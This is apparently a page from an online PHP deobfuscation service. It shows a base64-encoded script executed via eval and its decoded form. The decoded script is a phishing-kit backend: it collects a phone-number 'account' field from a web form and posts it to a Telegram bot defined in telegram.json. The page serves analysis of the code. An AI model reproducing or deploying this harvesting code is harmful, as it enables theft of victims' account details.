Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $data = 'PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKJElEID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udG..
Decoded Output download
<?php
session_start();
$ID = json_decode(file_get_contents("telegram.json"));
$id = $ID->Id;
$YZ = $ID->Token;
$a = $_POST['nohp'];
$_SESSION['nohp'] = $a;
$sms = "
INFORMASI AKUN
Akun: ". $a . "
";
$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response;
?>
Did this file decode correctly?
Original Code
<?php
$data = 'PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKJElEID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoInRlbGVncmFtLmpzb24iKSk7CiRpZCA9ICRJRC0+SWQ7CiRZWiA9ICRJRC0+VG9rZW47CiRhID0gJF9QT1NUWydub2hwJ107CiRfU0VTU0lPTlsnbm9ocCddID0gJGE7CiRzbXMgPSAiCklORk9STUFTSSBBS1VOCkFrdW46ICIuICRhIC4gIgoiOyAgCgoKCiRjdXJsID0gY3VybF9pbml0KCk7Ci8vIFNldCB0aGUgQVBJIGVuZHBvaW50IFVSTAokdXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkWVovc2VuZE1lc3NhZ2UiOwovLyBTZXQgY1VSTCBvcHRpb25zCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1QsIHRydWUpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KGFycmF5KCdjaGF0X2lkJyA9PiAkaWQsICd0ZXh0JyA9PiAkc21zKSkpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiRyZXNwb25zZSA9IGN1cmxfZXhlYygkY3VybCk7CmN1cmxfY2xvc2UoJGN1cmwpOwplY2hvICRyZXNwb25zZTsKPz4=';
$decode = base64_decode($data);
eval($decode);
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | f37056a64d3c8af64a0f31f4c7b27d9d |
Eval Count | 1 |
Decode Time | 37 ms |